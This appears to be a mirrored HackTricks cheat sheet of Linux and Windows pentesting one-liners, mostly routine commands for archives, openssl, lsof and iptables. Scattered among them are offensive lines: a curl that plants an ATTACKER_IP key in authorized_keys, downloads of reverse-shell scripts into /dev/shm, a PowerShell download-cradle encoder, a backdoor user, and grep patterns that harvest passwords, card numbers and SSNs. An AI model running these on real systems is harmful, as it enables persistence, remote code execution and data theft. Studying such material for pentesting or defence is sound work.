mirror of
https://github.com/carlospolop/hacktricks
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323 lines
13 KiB
Markdown
323 lines
13 KiB
Markdown
# Useful Linux Commands
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 (1) (2).png>)
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\
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Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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Get Access Today:
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## Common Bash
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```bash
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#Exfiltration using Base64
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base64 -w 0 file
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#Get HexDump without new lines
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xxd -p boot12.bin | tr -d '\n'
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#Add public key to authorized keys
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curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
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#Echo without new line and Hex
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echo -n -e
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#Count
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wc -l <file> #Lines
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wc -c #Chars
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#Sort
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sort -nr #Sort by number and then reverse
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cat file | sort | uniq #Sort and delete duplicates
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#Replace in file
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sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
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#Download in RAM
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wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
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wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
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curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
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#Files used by network processes
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lsof #Open files belonging to any process
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lsof -p 3 #Open files used by the process
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lsof -i #Files used by networks processes
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lsof -i 4 #Files used by network IPv4 processes
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lsof -i 6 #Files used by network IPv6 processes
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lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
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lsof +D /lib #Processes using files inside the indicated dir
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lsof -i :80 #Files uses by networks processes
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fuser -nv tcp 80
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#Decompress
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tar -xvzf /path/to/yourfile.tgz
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tar -xvjf /path/to/yourfile.tbz
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bzip2 -d /path/to/yourfile.bz2
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tar jxf file.tar.bz2
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gunzip /path/to/yourfile.gz
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unzip file.zip
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7z -x file.7z
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sudo apt-get install xz-utils; unxz file.xz
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#Add new user
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useradd -p 'openssl passwd -1 <Password>' hacker
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#Clipboard
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xclip -sel c < cat file.txt
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#HTTP servers
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python -m SimpleHTTPServer 80
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python3 -m http.server
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ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
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php -S $ip:80
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#Curl
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#json data
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curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
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#Auth via JWT
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curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
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#Send Email
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sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
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#DD copy hex bin file without first X (28) bytes
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dd if=file.bin bs=28 skip=1 of=blob
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#Mount .vhd files (virtual hard drive)
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sudo apt-get install libguestfs-tools
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guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
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# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
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ssh-keyscan 10.10.10.101
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# Openssl
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openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
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openssl x509 -in ca.cert.pem -text #Read certificate
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openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
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openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
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openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
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openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
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openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
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# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
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openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
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# Decrypt ssh key
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openssl rsa -in key.ssh.enc -out key.ssh
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#Decrypt
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openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
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#Count number of instructions executed by a program, need a host based linux (not working in VM)
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perf stat -x, -e instructions:u "ls"
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#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
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find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
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#Reconfigure timezone
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sudo dpkg-reconfigure tzdata
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#Search from which package is a binary
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apt-file search /usr/bin/file #Needed: apt-get install apt-file
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#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
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echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
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#Set not removable bit
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sudo chattr +i file.txt
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sudo chattr -i file.txt #Remove the bit so you can delete it
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# List files inside zip
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7z l file.zip
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```
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 (1) (2).png>)
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\
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Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
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Get Access Today:
|
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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## Bash for Windows
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```bash
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#Base64 for Windows
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echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
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#Exe compression
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upx -9 nc.exe
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#Exe2bat
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wine exe2bat.exe nc.exe nc.txt
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#Compile Windows python exploit to exe
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pip install pyinstaller
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wget -O exploit.py http://www.exploit-db.com/download/31853
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python pyinstaller.py --onefile exploit.py
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#Compile for windows
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#sudo apt-get install gcc-mingw-w64-i686
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i686-mingw32msvc-gcc -o executable useradd.c
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```
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## Greps
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```bash
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#Extract emails from file
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grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
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#Extract valid IP addresses
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grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
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#Extract passwords
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grep -i "pwd\|passw" file.txt
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#Extract users
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grep -i "user\|invalid\|authentication\|login" file.txt
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# Extract hashes
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#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
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egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
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#Extract valid MySQL-Old hashes
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grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
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#Extract blowfish hashes
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grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
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#Extract Joomla hashes
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egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
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#Extract VBulletin hashes
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egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
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#Extraxt phpBB3-MD5
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egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
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#Extract Wordpress-MD5
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egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
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#Extract Drupal 7
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egrep -o '$S$S{52}' *.txt > drupal-7.txt
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#Extract old Unix-md5
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egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
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#Extract md5-apr1
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egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
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#Extract sha512crypt, SHA512(Unix)
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egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
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#Extract e-mails from text files
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grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
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#Extract HTTP URLs from text files
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grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
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#For extracting HTTPS, FTP and other URL format use
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grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
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#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
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#Extract Floating point numbers
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grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
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# Extract credit card data
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#Visa
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grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
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#MasterCard
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grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
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#American Express
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grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
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#Diners Club
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grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
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#Discover
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grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
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#JCB
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grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
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#AMEX
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grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
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# Extract IDs
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#Extract Social Security Number (SSN)
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grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
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#Extract Indiana Driver License Number
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grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
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#Extract US Passport Cards
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grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
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#Extract US Passport Number
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grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
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#Extract US Phone Numberss
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grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
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#Extract ISBN Numbers
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egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
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```
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## Nmap search help
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```bash
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#Nmap scripts ((default or version) and smb))
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nmap --script-help "(default or version) and *smb*"
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locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
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nmap --script-help "(default or version) and smb)"
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```
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## Bash
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```bash
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#All bytes inside a file (except 0x20 and 0x00)
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for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
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```
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## Iptables
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```bash
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#Delete curent rules and chains
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iptables --flush
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iptables --delete-chain
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#allow loopback
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iptables -A INPUT -i lo -j ACCEPT
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iptables -A OUTPUT -o lo -j ACCEPT
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#drop ICMP
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iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
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iptables -A OUTPUT -p icmp -j DROP
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#allow established connections
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iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
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#allow ssh, http, https, dns
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iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
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iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
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iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
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iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
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iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
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iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
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iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
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#default policies
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iptables -P INPUT DROP
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iptables -P FORWARD ACCEPT
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iptables -P OUTPUT ACCEPT
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```
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
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</details>
|
|
|
|
 (1) (2).png>)
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
|
Get Access Today:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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